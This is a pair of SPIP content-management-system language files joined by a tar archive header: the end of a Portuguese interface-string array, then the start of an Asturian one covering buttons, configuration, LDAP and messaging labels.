'titre_config_langage' => 'Configurar o idioma',
'titre_configuration' => 'Configuração do site',
'titre_configurer_preferences' => 'Configurar as suas preferências',
'titre_conflit_edition' => 'Conflito durante a edição',
'titre_connexion_ldap' => 'Opções: <b>Sua conexão LDAP</b>',
'titre_groupe_mots' => 'GRUPO DE PALAVRAS-CHAVE:',
'titre_identite_site' => 'Identidade do site',
'titre_langue_article' => 'Idioma da matéria',
'titre_langue_rubrique' => 'Idioma da seção',
'titre_langue_trad_article' => 'IDIOMA E TRADUÇÕES DA MATÉRIA',
'titre_les_articles' => 'AS MATÉRIAS',
'titre_messagerie_agenda' => 'Mensagens internas e agenda',
'titre_naviguer_dans_le_site' => 'Navegar no site...',
'titre_nouvelle_rubrique' => 'Nova seção',
'titre_numero_rubrique' => 'SEÇÃO NÚMERO:',
'titre_page_admin_effacer' => 'Manutenção técnica: apagar a base',
'titre_page_articles_edit' => 'Editar: @titre@',
'titre_page_articles_page' => 'As matérias',
'titre_page_articles_tous' => 'Todo o site',
'titre_page_auteurs' => 'Visitantes',
'titre_page_calendrier' => 'Calendário @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Configuração do site',
'titre_page_config_fonctions' => 'Configuração do site',
'titre_page_configuration' => 'Configuração do site',
'titre_page_controle_petition' => 'Acompanhamento das petições',
'titre_page_delete_all' => 'supressão total e irreversível',
'titre_page_documents_liste' => 'Os documentos das seções',
'titre_page_index' => 'Sua área privada',
'titre_page_message_edit' => 'Escrever uma mensagem',
'titre_page_messagerie' => 'Seu sistema de mensagens',
'titre_page_recherche' => 'Resultados da busca por @recherche@',
'titre_page_statistiques_referers' => 'Estatísticas (links de entrada)',
'titre_page_statistiques_signatures_jour' => 'Número de assinaturas por dia',
'titre_page_statistiques_signatures_mois' => 'Número de assinaturas por mês',
'titre_page_upgrade' => 'Atualização do SPIP',
'titre_publication_articles_post_dates' => 'Publicação de matérias pós-datadas',
'titre_referencer_site' => 'Referenciar o site:',
'titre_rendez_vous' => 'ENCONTRO:',
'titre_reparation' => 'Reparação',
'titre_suivi_petition' => 'Acompanhamento das petições',
'tls_ldap' => 'Transport Layer Security:',
'trad_article_inexistant' => 'Não há nenhuma matéria com este número.',
'trad_article_traduction' => 'Todas as versões desta matéria:',
'trad_deja_traduit' => 'Erro: é impossível ligar esta matéria ao número indicado.',
'trad_delier' => 'Desvincular destas traduções',
'trad_lier' => 'Esta matéria é uma tradução da matéria número:',
'trad_new' => 'Escrever uma nova tradução',
// U
'upload_info_mode_document' => 'Gravar esta imagem no portfolio',
'upload_info_mode_image' => 'Retirar esta imagem do portfolio',
'utf8_convert_attendez' => 'Aguarde alguns instantes e atualize esta página.',
'utf8_convert_avertissement' => 'Você está prestes a converter o conteúdo da sua base de dados(matérias, notas etc) do conjunto de caracteres <b>@orig@</b> para o conjunto de caracteres <b>@charset@</b>.',
'utf8_convert_backup' => 'Não se esqueça de fazer primeiro uma cópia de segurança completa do seu site. Você deve também verificar se os seus templates e arquivos de idioma são compatíveis com @charset@.',
'utf8_convert_erreur_deja' => 'O seu site já está em @charset@, a conversão não ocorreu...',
'utf8_convert_erreur_orig' => 'Erro: o conjunto de caracteres @charset@ não é suportado.',
'utf8_convert_termine' => 'Terminou!',
'utf8_convert_timeout' => '<b>Importante:</b> em caso de <i>timeout</i> do servidor, por favor,atualize a página até que ela indique que «terminou».',
'utf8_convert_verifier' => 'Você deve agora esvaziar o cache, e verificar se está tudo bem com as páginas públicas do site. No caso de apresentarem problemas, uma cópia de segurança dos seus dados foi feita (no formato SQL) no diretório @rep@.',
'utf8_convertir_votre_site' => 'Converter o seu site para utf-8',
// V
'version' => 'Versão:'
);
?>
ecrire_ast.php 0000666 00000212220 15252547432 0007411 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ast
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Activar el plugin',
'affichage' => 'Compaxinación',
'aide_non_disponible' => 'Esta parte de l’aida en llínia tovía nun tá iguada n’esta llingua.',
'auteur' => 'Autor:',
'avis_acces_interdit' => 'Accesu torgau.',
'avis_article_modifie' => 'Atención, @nom_auteur_modif@ trabayó n’esti artículo hai @date_diff@ minutos.',
'avis_aucun_resultat' => 'Dengún resultáu',
'avis_chemin_invalide_1' => 'El camín escoyíu',
'avis_chemin_invalide_2' => 'nun paez afayaízu. Torna a la páxina anterior y revisa la información qu’escribiste.',
'avis_connexion_echec_1' => 'Falló l’enxertu al servidor SQL.',
'avis_connexion_echec_2' => 'Torna a la páxina cabera y revisa los datos que pusiste.',
'avis_connexion_echec_3' => '<b>Nota:</b> En munchos sirvidores, fai falta <b>pidir</b> la activación del accesu a la base de datos enantes de poder usala. Si nun puedes conectate, mira si ficiste esi trámite.',
'avis_connexion_ldap_echec_1' => 'Hubo un fallu na conexón al sirvidor LDAP.',
'avis_connexion_ldap_echec_2' => 'Torna a la páxina anterior, y revisa la información qu’escribisti n’ella.',
'avis_connexion_ldap_echec_3' => 'D’otru mou, nun uses el sofitu de LDAP pa importar usuarios.',
'avis_deplacement_rubrique' => '¡Atención! Esta estaya contién @contient_breves@ breve@scb@: si la mueves, ties que marcar esti cuadru de confirmación.',
'avis_destinataire_obligatoire' => 'Ties qu’indicar un destinatariu enantes d’unviar esti mensaxe.',
'avis_erreur_connexion_mysql' => 'Fallu de conexón SQL',
'avis_erreur_version_archive' => '<b>¡Atención! El ficheru @archive@ pertenez
otra versión de SPIP distinta de la que ta
instalada.</b> Tas delantre de dificultaes
abondo: peligru de destruir la base de datos,
fallos variaos nel funcionamientu del sitiu, etc.
Nun valides esta demanda d’importación.<p>Pa
mayor información, llee <a href="@spipnet@">
la documentación de SPIP</a>.</p>',
'avis_espace_interdit' => '<b>Espaciu torgáu</b><div>SPIP ya ta instalao.</div>',
'avis_lecture_noms_bases_1' => 'El programa d’instalación nun fue a lleer los nomes de les bases de datos instaláes.',
'avis_lecture_noms_bases_2' => 'Puede ser que denguna base nun te disponible, o que la función que permite llistar les bases te desactivada
por cuenta de razones de seguridá (lo que ye’l casu n’abondos agospiamientos web).',
'avis_lecture_noms_bases_3' => 'Nel segundu casu, ye probable qu’esista una base que col mesmu nome qu’el to login:',
'avis_non_acces_message' => 'Nun tienes accesu a esti mensaxe.',
'avis_non_acces_page' => 'Nun tienes accesu a esta páxina.',
'avis_operation_echec' => 'Falló la operación.',
'avis_operation_impossible' => 'Operación imposible',
'avis_probleme_archive' => 'Problema de llectura del archivu @archive@',
'avis_suppression_base' => 'ATENCIÓN, el desaniciu de los datos nun ye reversible',
'avis_version_mysql' => 'El to sirvidor SQL (@version_mysql@) nun permite la igua automática de les tables de la base.',
// B
'bouton_acces_ldap' => 'Añader l’accesu a LDAP',
'bouton_ajouter' => 'Amestar',
'bouton_ajouter_participant' => 'AÑADER UN PARTICIPANTE:',
'bouton_annonce' => 'ANUNCIU',
'bouton_annuler' => 'Anular',
'bouton_checkbox_envoi_message' => 'posibilidá d’unviar un mensaxe',
'bouton_checkbox_indiquer_site' => 'poner obligatoriamente un sitiu Web',
'bouton_checkbox_signature_unique_email' => 'una sola firma por corréu electrónicu',
'bouton_checkbox_signature_unique_site' => 'una sola firma por sitiu Web',
'bouton_demande_publication' => 'Pedir l’espublizamientu d’esti artículu',
'bouton_desactive_tout' => 'Desactivalo too',
'bouton_desinstaller' => 'Desasitiar',
'bouton_effacer_index' => 'Desaniciar los índices',
'bouton_effacer_tout' => 'Desaniciar TOO',
'bouton_envoi_message_02' => 'UNVIAR UN MENSAXE',
'bouton_envoyer_message' => 'Mensaxe definitivu: unviar',
'bouton_fermer' => 'Zarrar',
'bouton_modifier' => 'Camudar',
'bouton_pense_bete' => 'RECORDATORIU PERSONAL',
'bouton_radio_activer_messagerie' => 'Activar la mensaxeria interna',
'bouton_radio_activer_messagerie_interne' => 'Activar la mensaxería interna',
'bouton_radio_activer_petition' => 'Activar la solicitú',
'bouton_radio_afficher' => 'Amosar',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Apaecer na llista de redactores coneutaos',
'bouton_radio_desactiver_messagerie' => 'Desactivar la mensaxería',
'bouton_radio_envoi_annonces_adresse' => 'Unviar los anuncios a la direición:',
'bouton_radio_envoi_liste_nouveautes' => 'Unviar la llista de novedáes',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Nun apaecer na llista de redactores',
'bouton_radio_non_envoi_annonces_editoriales' => 'Nun mandar anuncios editoriales',
'bouton_radio_pas_petition' => 'Ensin solicitú',
'bouton_radio_petition_activee' => 'Solicitú activada',
'bouton_radio_supprimer_petition' => 'Desaniciar la solicitú',
'bouton_redirection' => 'REDIREICIÓN',
'bouton_relancer_installation' => 'Rellanzar l’instalación',
'bouton_suivant' => 'Siguiente',
'bouton_tenter_recuperation' => 'Tentar una reparación',
'bouton_test_proxy' => 'Comprobar el proxy',
'bouton_vider_cache' => 'Vaciar la caché',
'bouton_voir_message' => 'Ver esti mensaxe enantes de validalu',
// C
'cache_mode_compresse' => 'Los archivos de la caché grábense en mou comprimíu.',
'cache_mode_non_compresse' => 'Los archivos de la caché grábense en mou nun comprimíu.',
'cache_modifiable_webmestre' => 'Esti parámetru puede modificase pol webmaster del sitiu.',
'calendrier_synchro' => 'Si uses un programa d’axenda compatible <b>iCal</b>, puedes sincronizalu cola información d’esti sitiu.',
'config_activer_champs' => 'Activar los campos siguientes',
'config_choix_base_sup' => 'indicar una base datos nesti sirvidor',
'config_erreur_base_sup' => 'SPIP nun tien accesu a la llista de les bases disponibles',
'config_info_base_sup' => 'Si tienes otres bases de datos pa restolar al traviés de SPIP, col so sirvidor SQL o con otru, el formulariu d’embaxo va permitite declarales. Si dexes ciertos campos vacíos, utilizaránse les identificaciones de conexón a la base principal.',
'config_info_base_sup_disponibles' => 'Bases suplementaries que ya son restolables:',
'config_info_enregistree' => 'Guardose la nueva configuración',
'config_info_logos' => 'Cada elementu del sitiu puede tener un logo, lo mesmo qu’un «logo de pasu’l mur»',
'config_info_logos_utiliser' => 'Usar los logos',
'config_info_logos_utiliser_non' => 'Nun usar los logos',
'config_info_logos_utiliser_survol' => 'Usar los logos de pasu’l mur',
'config_info_logos_utiliser_survol_non' => 'Nun usar los logos de pasu’l mur',
'config_info_redirection' => 'En activando esta opción, vas poder crear artículos virtuales, simples referencies d’artículos espublizáos n’otros sitios o fechos ensin SPIP.',
'config_redirection' => 'Artículos virtuales',
'config_titre_base_sup' => 'Declaración d’una base suplementaria',
'config_titre_base_sup_choix' => 'Escueye una base suplementaria',
'connexion_ldap' => 'Conexón:',
'copier_en_local' => 'Copiar en llocal',
// D
'date_mot_heures' => 'hores',
// E
'email' => 'corréu electrónicu',
'email_2' => 'correu elletrónicu:',
'en_savoir_plus' => 'Pa saber más',
'entree_adresse_annuaire' => 'Señes de l’anuariu',
'entree_adresse_email' => 'Les tos señes d’email',
'entree_base_donnee_1' => 'Señes de la base de datos',
'entree_base_donnee_2' => '(Bien de veces estes señes correspuendense coles del sitiu mesmu, dacuando son el nome «localhost», o sinon dexense vacíes dafechu.)',
'entree_biographie' => 'Biografía curtia en delles pallabres.',
'entree_chemin_acces' => '<b>Enxertar</b> la ruta d’accesu:',
'entree_cle_pgp' => 'La to clave PGP',
'entree_contenu_rubrique' => '(Conteníu de la estaya en delles pallabres.)',
'entree_identifiants_connexion' => 'Los identificadores pa la to conexón...',
'entree_informations_connexion_ldap' => 'Nesti formulariu has d’enxertar la información pa coneutate al sirvidor de señes LDAP.
Esta información tien que apurrítela l’alministrador del sistema,
o de la rede.',
'entree_infos_perso' => '¿Quién yes?',
'entree_interieur_rubrique' => 'Dientro de l’estaya:',
'entree_liens_sites' => '<b>Enllaz d’hipertestu</b> (referencia, sitiu a visitar...)',
'entree_login' => 'El to login',
'entree_login_connexion_1' => 'El nome de conexón',
'entree_login_connexion_2' => '(Correspuende seique al to nome d’accesu al FTP; seique en blancu)',
'entree_login_ldap' => 'Nome inicial LDAP',
'entree_mot_passe' => 'La to contraseña',
'entree_mot_passe_1' => 'La contraseña pa la conexón',
'entree_mot_passe_2' => '(Correspuende seique a la to contraseña pal FTP; seique en blancu)',
'entree_nom_fichier' => 'Has d’amestar el nome de l’archivu @texte_compresse@:',
'entree_nom_pseudo' => 'El to nome o nomatu',
'entree_nom_pseudo_1' => '(El to nome o nomatu)',
'entree_nom_site' => 'Nome del to sitiu web',
'entree_nouveau_passe' => 'Contraseña nueva',
'entree_passe_ldap' => 'Contraseña',
'entree_port_annuaire' => 'Númberu de puertu del sirvidor de señes',
'entree_signature' => 'Robla',
'entree_titre_obligatoire' => '<b>Títulu</b> [Obligatoriu]<br />',
'entree_url' => 'Les señes (URL) del to sitiu web',
'erreur_plugin_desinstalation_echouee' => 'Falló la desinstalación del complementu. Sicasí, puedes desactivalu.', # MODIF
'erreur_plugin_fichier_absent' => 'Falta l’archivu',
'erreur_plugin_fichier_def_absent' => 'Falta l’archivu de definición',
'erreur_plugin_nom_fonction_interdit' => 'Nome de función encaboxada',
'erreur_plugin_nom_manquant' => 'Falta’l nome del plugin',
'erreur_plugin_prefix_manquant' => 'Espaciu de nomes del plugin nun definíu',
'erreur_plugin_tag_plugin_absent' => 'Falta el <plugin> nel archivu de definición',
'erreur_plugin_version_manquant' => 'Falta la versión del plugin',
// H
'htaccess_a_simuler' => 'Avisu: la configuración del to sirvidor HTTP nun tien en cuenta los ficheros @htaccess@. Pa poder asegurar una bona seguridá, fai falta que camudes esa configuración nesti puntu, o bien que les constantes @constantes@ (definibles nel ficheru mes_options.php) tengan como valor direutorios nel esterior de @document_root@.', # MODIF
'htaccess_inoperant' => 'htaccess non operativu',
// I
'ical_info1' => 'N’esta páxina ufrense delles maneres de tar en contautu cola actividá d’esti sitiu.',
'ical_info2' => 'Pa más información tocante a toes estes técniques, pues consultar <a href="@spipnet@">la documentación de SPIP</a>.',
'ical_info_calendrier' => 'Tienes dos axendes a la to disposición. La primera ye el plan del sitiu que anuncia tolos artículos espublizaos. La segunda contién los anuncios editoriales y también los tos caberos mensaxes privaos: esta ye una axenda privada gracies a una clave personal, que pues modificar en tou momentu anovando la to contraseña.',
'ical_methode_http' => 'Descarga',
'ical_methode_webcal' => 'Sincronización (webcal://)',
'ical_texte_js' => 'Una llinia de javascript va permitite amosar de mou bien fácil, en cualquier otru sitiu tuyu, los artículos recientes espublizaos nesti sitiu.',
'ical_texte_prive' => 'Esta axenda, de usu esclusivamente personal, te informa de l’actividá editorial privada d’esti sitiu (xeres y conceyos personales, artículos y breves propuestos...).',
'ical_texte_public' => 'Esta axenda te permite siguir l’actividá pública d’esti sitiu (artículos y breves espublizáos).',
'ical_texte_rss' => 'Puedes sindicar les novedáes d’esti sitiu en cualisquier llector d’archivos en formatu XML/RSS (Rich Site Summary). Esti ye también el formatu que permite a SPIP lleer les novedáes espublizáes n’otros sitios que utilicen un formatu d’intercambéu compatible (sitios sindicaos).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Llista de corréu',
'ical_titre_rss' => 'Archivos de sindicación',
'icone_accueil' => 'Entamu',
'icone_activer_cookie' => 'Activar la cookie de correspondencia',
'icone_activite' => 'Actividá',
'icone_admin_plugin' => 'Xestión de los plugins',
'icone_administration' => 'Mantenimientu',
'icone_afficher_auteurs' => 'Amosar los autores',
'icone_afficher_visiteurs' => 'Amosar les visites',
'icone_arret_discussion' => 'Nun participar ya nesta discusión',
'icone_calendrier' => 'Calendariu',
'icone_configuration' => 'Configuración',
'icone_creer_auteur' => 'Crear un nuevu autor y asocialu con esti artículu',
'icone_creer_mot_cle' => 'Crear una nueva pallabra-clave y amestala con esti artículu',
'icone_creer_mot_cle_rubrique' => 'Crear una nueva pallabra-clave y enllazala con esta estaya',
'icone_creer_mot_cle_site' => 'Crear una nueva pallabra-clave y enllazala con esti sitiu',
'icone_creer_rubrique_2' => 'Facer una estaya nueva',
'icone_edition' => 'Edición',
'icone_envoyer_message' => 'Unviar esti mensaxe',
'icone_ma_langue' => 'La mio llingua',
'icone_mes_infos' => 'La mio información',
'icone_mes_preferences' => 'Les mios preferencies',
'icone_modifier_article' => 'Iguar esti artículu',
'icone_modifier_message' => 'Iguar esti mensaxe',
'icone_modifier_rubrique' => 'Iguar esta estaya',
'icone_publication' => 'Publicación',
'icone_relancer_signataire' => 'Rellanzar el roblador',
'icone_retour' => 'Tornar',
'icone_retour_article' => 'Tornar a l’artículu',
'icone_squelette' => 'Cadarmes',
'icone_suivi_publication' => 'Siguimientu de la publicación',
'icone_supprimer_cookie' => 'Desaniciar la cookie de correspondencia',
'icone_supprimer_rubrique' => 'Desaniciar esta estaya',
'icone_supprimer_signature' => 'Desaniciar esta robla',
'icone_valider_signature' => 'Validar esta robla',
'image_administrer_rubrique' => 'Puedes alministrar esta estaya',
'info_1_article' => '1 artículu',
'info_1_article_syndique' => '1 artículu sindicáu',
'info_1_auteur' => '1 autor',
'info_1_message' => '1 mensaxe',
'info_1_mot_cle' => '1 pallabra-clave',
'info_1_rubrique' => '1 seición',
'info_1_site' => '1 sitiu web',
'info_1_visiteur' => '1 visitante',
'info_activer_cookie' => 'Puedes activar una <b>cookie de correspondencia</b>, que va
permitite que pases fácilmente del sitiu públicu al sitiu privau.',
'info_admin_etre_webmestre' => 'Conseñame permisos de webmaster',
'info_admin_gere_rubriques' => 'Esti alministrador xestiona les estayes siguientes:',
'info_admin_gere_toutes_rubriques' => 'Esti alministrador xestiona <b>toles estayes</b>.', # MODIF
'info_admin_je_suis_webmestre' => 'Yá soi <b>webmaster</b>',
'info_admin_statuer_webmestre' => 'Da-y a esti alministrador permisos de webmaster',
'info_admin_webmestre' => 'Esti alministrador ye <b>webmaster</b>',
'info_administrateur' => 'Xestión',
'info_administrateur_1' => 'Xestión',
'info_administrateur_2' => 'de la web (<i>úsalo con cuidáu</i>)',
'info_administrateur_site_01' => 'Si tas nel equipu de xestión,',
'info_administrateur_site_02' => 'pica n’esti enllaz',
'info_administrateurs' => 'Alministradores',
'info_administrer_rubrique' => 'Puedes alministrar esta estaya',
'info_adresse' => 'a les señes:',
'info_adresse_url' => 'Direición (URL) del sitiu públicu',
'info_afficher_visites' => 'Amosar les visites pa:',
'info_aide_en_ligne' => 'Aida en llinia de SPIP',
'info_ajout_image' => 'Cuando amestes imáxenes como documentos axuntaos a un artículu,
SPIP puede crear por tí, automáticamente, viñetes (miniatures) de les
imáxenes inxertaes. Esto permite por exemplu crear
automáticamente una galería o un álbum.',
'info_ajout_participant' => 'Amestose el siguiente participante:',
'info_ajouter_rubrique' => 'Amestar otra estaya pa alministrar:',
'info_annonce_nouveautes' => 'Anunciu de les novedáes',
'info_anterieur' => 'anterior',
'info_article' => 'artículu',
'info_article_2' => 'artículos',
'info_article_a_paraitre' => 'Los artículos que apaecerán en feches futures',
'info_articles_02' => 'artículos',
'info_articles_2' => 'Artículos',
'info_articles_auteur' => 'Los artículos d’esti autor',
'info_articles_trouves' => 'Artículos alcontraos',
'info_articles_trouves_dans_texte' => 'Artículos alcontraos (nel testu)',
'info_attente_validation' => 'Los tos artículos esperando validación',
'info_aucun_article' => 'Dengún artículu',
'info_aucun_article_syndique' => 'Dengún artículu sindicáu',
'info_aucun_auteur' => 'Dengún autor',
'info_aucun_message' => 'Dengún mensaxe',
'info_aucun_rubrique' => 'Denguna seición', # MODIF
'info_aucun_site' => 'Dengún sitiu',
'info_aucun_visiteur' => 'Dengún visitante',
'info_aujourdhui' => 'güei:',
'info_auteur_message' => 'AUTOR DEL MENSAXE:',
'info_auteurs' => 'Los autores',
'info_auteurs_par_tri' => 'Autores@partri@',
'info_auteurs_trouves' => 'Autores alcontráos',
'info_authentification_externe' => 'Autentificación esterna',
'info_avertissement' => 'Avisu',
'info_barre_outils' => 'cola so barra de ferramientes?',
'info_base_installee' => 'L’armazón de la base de datos ta instalada.',
'info_chapeau' => 'Cabecera',
'info_chapeau_2' => 'Cabecera:',
'info_chemin_acces_1' => 'Opciones: <b>Camín d’accesu na guía</b>',
'info_chemin_acces_2' => 'Agora debes configurar el camín d’accesu a la información de la guía. Esta información ye indispensable pa lleer los perfiles d’usuariu guardáos na guía.',
'info_chemin_acces_annuaire' => 'Opciones: <b>Camín d’accesu na guía</b>',
'info_choix_base' => 'Tercera etapa:',
'info_classement_1' => '<sup>u</sup> en @liste@',
'info_classement_2' => '<sup>u</sup> en @liste@',
'info_code_acces' => '¡Nun escaezas los tos códigos d’accesu!',
'info_compatibilite_html' => 'Norma HTML a siguir',
'info_compresseur_gzip' => '<b>Nota:</b> Recomiéndase verificar de mano si l’agospiador ya comprime automáticamente los scripts php ; pa esto, puedes utilizar por exemplu el serviciu siguiente: @testgzip@', # MODIF
'info_compresseur_texte' => 'Si el to sirvidor nun comprime automáticamente les páxines html par unviales a los internautes, puedes tentar de forzar esta compresión pa amenorgar el pesu de les páxines descargáes. <b>Atención</b>: esto puede ralentizar enforma dellos sirvidores.',
'info_config_suivi' => 'Si estes señes corresponden a una llista de corréu, pues indicar embaxo les señes nes que pueden apuntase los participantes nel sitiu. Estes señes puen ser una URL (por exemplu la páxina d’inscripción a la llista na Rede), o unes señes d’email con un asuntu específicu (por exemplu: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Puedes soscribite a la llista de corréu d’esti sitiu. D’esti mou recibirás per corréu electrónicu los anuncios d’artículos y de breves propuestos pa espublizar.',
'info_confirmer_passe' => 'Confirmar esta nueva contraseña:',
'info_conflit_edition_avis_non_sauvegarde' => 'Atención, los campos siguientes camudáronse n’otra parte. Poro, les modificaciones dientro d’esos campos nun se grabaron.',
'info_conflit_edition_differences' => 'Diferencies:',
'info_conflit_edition_version_enregistree' => 'La versión grabada:',
'info_conflit_edition_votre_version' => 'La to versión:',
'info_connexion_base' => 'Preba de conexón a la base',
'info_connexion_base_donnee' => 'Conexón cola to base de datos',
'info_connexion_ldap_ok' => 'La conexón LDAP funcionó.</b><p> Puedes pasar a la etapa siguiente.</p>', # MODIF
'info_connexion_mysql' => 'La to conexón SQL',
'info_connexion_ok' => 'La conexón funcionó.',
'info_contact' => 'Contautu',
'info_contenu_articles' => 'Conteníu de los artículos',
'info_contributions' => 'Collaboraciones',
'info_creation_paragraphe' => '(Pa crear párrafos, dexa llínies vacíes ente ellos.)', # MODIF
'info_creation_rubrique' => 'Enantes que puedas escribir artículos<br />debes crear polo menos una estaya.<br />',
'info_creation_tables' => 'Creación de les tables de la base',
'info_creer_base' => '<b>Crear</b> una nueva base datos:',
'info_dans_rubrique' => 'Na estaya:',
'info_date_publication_anterieure' => 'Fecha de redaición anterior:',
'info_date_referencement' => 'FECHA DE REFERENCIACIÓN D’ESTI SITIU:',
'info_derniere_etape' => '¡Ya finamos!',
'info_derniers_articles_publies' => 'Los caberos artículos espublizaos en llinia',
'info_desactiver_messagerie_personnelle' => 'Pues activar o desactivar la mensaxería personal nesti sitiu.',
'info_descriptif' => 'Descripción:',
'info_desinstaller_plugin' => 'desanicia los datos y desactiva el plugin',
'info_discussion_cours' => 'Discutinios en cursu',
'info_ecrire_article' => 'Enantes que puedas escribir artículos, tienes que crear polo menos una estaya.',
'info_email_envoi' => 'Señes d’email d’unvíu (opcional)',
'info_email_envoi_txt' => 'Indica equí les señes a utilizar pa unviar los emails (por omisión, usense les señes del destinatariu como señes d’unvíu):',
'info_email_webmestre' => 'Señes d’email del webmaster (opcional)', # MODIF
'info_entrer_code_alphabet' => 'Enxerta’l códigu de l’alfabetu a utilizar:',
'info_envoi_email_automatique' => 'Unvíu d’e-mails automáticu',
'info_envoyer_maintenant' => 'Unviar agora',
'info_etape_suivante' => 'Pasar a la etapa siguiente',
'info_etape_suivante_1' => 'Puedes pasar a la etapa siguiente.',
'info_etape_suivante_2' => 'Puedes pasar a la etapa siguiente.',
'info_exceptions_proxy' => 'Esceiciones pal proxy',
'info_exportation_base' => 'esportación de la base a @archive@',
'info_facilite_suivi_activite' => 'Col envís de facilitar el siguimientu de l’actividá
editorial del sitiu, SPIP pue comunicar por e-mail, por exemplu
a una llista de corréu de redactores, l’anunciu de les propuestes de
publicación y les validaciones d’artículos.',
'info_fichiers_authent' => 'Archivos d’autentificación «.htpasswd»',
'info_forums_abo_invites' => 'Esti sitiu tien foros pa abonaos; poro a los visiteurs se-yos encamienta que se rexistren nel sitiu públicu.',
'info_gauche_admin_effacer' => '<b>Esta páxina namái ye accesible pa los responsables del sitiu.</b><p> Equí ta l’accesu a les diferentes funciones de mantenimientu téunicu. Delles llancen un procesu d’identificación específicu, pal que fai falta tener accesu per FTP al sirvidor del sitiu Web.</p>',
'info_gauche_admin_tech' => '<b>Esta páxina namái ye accesible pa los responsables del sitiu.</b><p> Equí ta l’accesu a les diferentes
funciones de mantenimientu téunicu. Delles llancen un procesu d’identificación específicu, pal que
fai falta tener accesu per FTP al sirvidor del sitiu Web.</p>',
'info_gauche_admin_vider' => '<b>Esta páxina namái ye accesible pa los responsables del sitiu.</b><p> Equí ta l’accesu a les diferentes
funciones de mantenimientu téunicu. Delles llancen un procesu d’identificación específicu, pal que
fai falta tener accesu per FTP al sirvidor del sitiu Web.</p>',
'info_gauche_auteurs' => 'Equí s’alcuentren tolos autores del sitiu.
El so estatutu vien indicáu pola color de l’iconu (alministrador = verde; redactor = mariellu).',
'info_gauche_auteurs_exterieurs' => 'Los autores esternos, ensin accesu al sitiu, vienen indicaos con un iconu azul;
los autores esborráos con un calderu de basoria.', # MODIF
'info_gauche_messagerie' => 'La mensaxería permite mandase mensaxes ente redactores, conservar recordatorioss (pa usu personal) o amosar anuncies na páxina principal de l’espaciu priváu (si yes alministrador).',
'info_gauche_numero_auteur' => 'AUTOR NÚMBERU',
'info_gauche_statistiques_referers' => 'Esta páxina presenta la llista de los <i>referers</i>, que son sitios que contienen enllaces que apunten pa esti mesmu sitiu, namái d’ayeri y de güei; esta llista ponse a cero cada 24 hores.',
'info_gauche_visiteurs_enregistres' => 'Equí alcontrarás los visitantes rexistraes
nel espaciu públicu del sitiu (foros pa abonaos).',
'info_generation_miniatures_images' => 'Xeneración d’imaxes amenorgáes',
'info_gerer_trad' => '¿Xestionar los enllaces de traducción?',
'info_hebergeur_desactiver_envoi_email' => 'Dellos agospiamientos encaboxen l’unvíu automáticu de
correos dende los sos sirvidores. Nesti casu, les siguientes
carauterístiques de SPIP nun funcionarán.',
'info_hier' => 'ayeri:',
'info_historique_activer' => 'Activar el siguimientu de les revisiones',
'info_historique_affiche' => 'Amosar esta versión',
'info_historique_comparaison' => 'comparanza',
'info_historique_desactiver' => 'Desactivar el siguimientu de les revisiones',
'info_historique_texte' => 'El siguimientu de les revisiones permite conservar un históricu de toles modificaciones amestaes al conteníu d’un artículu, y amosar les diferencies ente les versiones sucesives.',
'info_identification_publique' => 'La to identidá pública...',
'info_image_process' => 'Has d’escoyer el meyor métodu de fabricación de les viñetes calcando enriba de la imaxe correspondiente.',
'info_image_process2' => '<b>N.B.</b> <i>Si nun apaez imaxe dala, el sirvidor que agospia el to sitiu nun ta configuráu pa mandase d’estes ferramientes. Si quiés utilizar estes funciones, contauta col responsable téunicu y pide-y les estensiones «GD» o «Imagick».</i>', # MODIF
'info_images_auto' => 'Imaxes calculáes automáticamente',
'info_informations_personnelles' => 'Información personal',
'info_inscription_automatique' => 'Inscripción automática de redactores nuevos',
'info_jeu_caractere' => 'Xuegu de carauteres del sitiu',
'info_jours' => 'díes',
'info_laisser_champs_vides' => 'dexar estos campos vacíos)',
'info_langues' => 'Idiomes del sitiu',
'info_ldap_ok' => 'L’autentificación LDAP ta instalada.',
'info_lien_hypertexte' => 'Enllace d’hipertestu:',
'info_liste_redacteurs_connectes' => 'Llista de los redactores conectáos',
'info_login_existant' => 'Esti nome ya esiste.',
'info_login_trop_court' => 'El nome ye mui curtiu.',
'info_logos' => 'Los logos',
'info_maximum' => 'másimu:',
'info_meme_rubrique' => 'Na mesma estaya',
'info_message' => 'Mensaxe de',
'info_message_efface' => 'MENSAXE DESANICIÁU',
'info_message_en_redaction' => 'Los tos mensaxes en cursu de redacción',
'info_message_technique' => 'Mensaxe téunicu:',
'info_messagerie_interne' => 'Mensaxería interna',
'info_mise_a_niveau_base' => 'axuste de la base de datos SQL',
'info_mise_a_niveau_base_2' => '{{¡Atención!}} Instalasti una versión de los
archivos de SPIP {anterior} a la que s’alcontraba
enantes nesti sitiu: la base de datos puede tar
perdida y el sitiu ya nun funcionará.<br />{{Reinstala los
archivos de SPIP.}}',
'info_modifier_auteur' => 'Modificar l’autor:',
'info_modifier_rubrique' => 'Modificar la estaya:',
'info_modifier_titre' => 'Modificar: @titre@',
'info_mon_site_spip' => 'El mio sitiu SPIP',
'info_mot_sans_groupe' => '(Pallabres ensin grupu...)',
'info_moteur_recherche' => 'Motor de gueta integráu',
'info_moyenne' => 'media:',
'info_multi_articles' => '¿Activar el menú de llingües pa los artículos?',
'info_multi_cet_article' => 'Llingua d’esti artículu:',
'info_multi_langues_choisies' => 'Seleiciona de siguío les llingües disponibles pa los redactores del sitiu Web.
Les llingües que ya tan usándose nel sitiu (amosaes en primer llugar) nun puen desactivase.',
'info_multi_rubriques' => '¿Activar el menú de llingües pa les estayes?',
'info_multi_secteurs' => '... ¿sólamente pa les estayes allugáes na raiz?',
'info_nb_articles' => '@nb@ artículos',
'info_nb_articles_syndiques' => '@nb@ artículos sindicaos',
'info_nb_auteurs' => '@nb@ autores',
'info_nb_messages' => '@nb@ mensaxes',
'info_nb_mots_cles' => '@nb@ pallabres-clave',
'info_nb_rubriques' => '@nb@ seiciones',
